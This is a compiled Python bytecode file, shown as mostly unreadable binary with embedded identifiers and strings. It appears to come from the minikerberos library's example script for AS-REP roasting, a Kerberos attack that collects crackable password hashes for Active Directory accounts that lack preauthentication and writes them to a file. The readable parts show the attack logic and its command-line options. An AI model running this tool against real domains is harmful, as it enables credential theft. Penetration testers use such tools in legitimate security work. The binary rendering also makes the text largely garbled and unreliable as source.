o
    �õ±j¸  ã                   @   sš   d dl Z d dlZd dlZd dlZd dlmZ d dlmZ d dl	m
Z
 dg d¢fdede
e ded	ed
e
e f
dd„Zdd„ Zdd„ ZedkrKeƒ  dS dS )é    N)ÚKerberosTarget)Ú
asreproast)ÚList)é   é   é   Úkerberos_serverÚusersÚdomainÚout_fileÚetypesc              
   Ã   sV  ��zg }g }t | d�}t|tƒdu r|g}g }|D ]2}	t|	tƒrLt |	¡ ¡ rGt|	dƒ�}
| |
 	¡  
¡ ¡ W d   ƒ n1 sAw   Y  q| |	¡ qt|tƒdu rW|g}g }|D ]}t|tƒro| dd„ | d¡D ƒ¡ t|tƒry| |¡ q[|}|}|d u r†tdƒ‚g }|D ]}| d¡d	krž| | d¡d
 ¡ qŠ| |¡ qŠd }t||||d�2 z3 d H W \}}}|d urÃ| ||f¡ q®| ||f¡ q®6 |d urõt|ddd��}
|D ]\}}|
 |d ¡ qÚW d   ƒ n1 sðw   Y  |D ]\}}td||f ƒ q÷|D ]	\}}t|ƒ �qW d S  t�y* } zt ¡  W Y d }~d S d }~ww )N)ÚipFÚrc                 S   s   g | ]}t |ƒ‘qS © )Úint)Ú.0Úxr   r   ú“/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/minikerberos/examples/asreproast.pyÚ
<listcomp>"   s    zasreproast.<locals>.<listcomp>ú,zNo domain specifiedú@éÿÿÿÿr   )Úoverride_etypeÚwÚ )Únewlinez
z%s error: %s)r   Ú
isinstanceÚlistÚstrÚpathlibÚPathÚexistsÚopenÚextendÚreadÚ
splitlinesÚappendÚsplitr   Ú	ExceptionÚfindÚasreproast_secÚwriteÚprintÚ	tracebackÚ	print_exc)r   r	   r
   r   r   Ú
results_okÚresults_errÚcuÚusers_finalÚuserÚfÚetypes_finalÚetypeÚusers_nodomainÚusernameÚresÚerrÚ_ÚresultÚer   r   r   r   	   sr   €

ÿ€
€


€"üÿÿÿ€ÿr   c                  Ã   s   �dd l } | jd| jd�}|jddd� |jddd� |jd	d
dd� |jddddd� |jdddd� |jddddd� | ¡ }|jdkrNtjtjd� n|jdkr[tjtj	d� ntjdd� t
|jƒdkrntdƒ d S t|j|j|j|j|jƒI d H  d S )Nr   Ú
Asreproast)ÚdescriptionÚformatter_classr   zKerberos server IP or hostname)Úhelpr
   z6Realm. Use this if you specify username in "spn" fieldr	   Ú*zPUser/username to kerberoast. Can be a file with usernames, or a single username.)ÚnargsrA   z-ez--etypesz23,17,18z*Encryption types to use. Default: 23,17,18)ÚdefaultrA   z-oz
--out-filez3Write results to this file instead of printing themz-vz	--verboseÚcount)ÚactionrD   )Úlevelé   z"Please provide users to kerberoast)ÚargparseÚArgumentParserÚRawDescriptionHelpFormatterÚadd_argumentÚ
parse_argsÚverboseÚloggingÚbasicConfigÚINFOÚDEBUGÚlenr	   r,   r   r   r
   r   r   )rI   ÚparserÚargsr   r   r   ÚamainH   s&   €

$rV   c                   C   s   t  tƒ ¡ d S )N)ÚasyncioÚrunrV   r   r   r   r   Úmaina   s   rY   Ú__main__)rO   rW   r-   r   Úminikerberos.common.targetr   Úminikerberos.securityr   r*   Útypingr   r   r   rV   rY   Ú__name__r   r   r   r   Ú<module>   s    0?
ÿ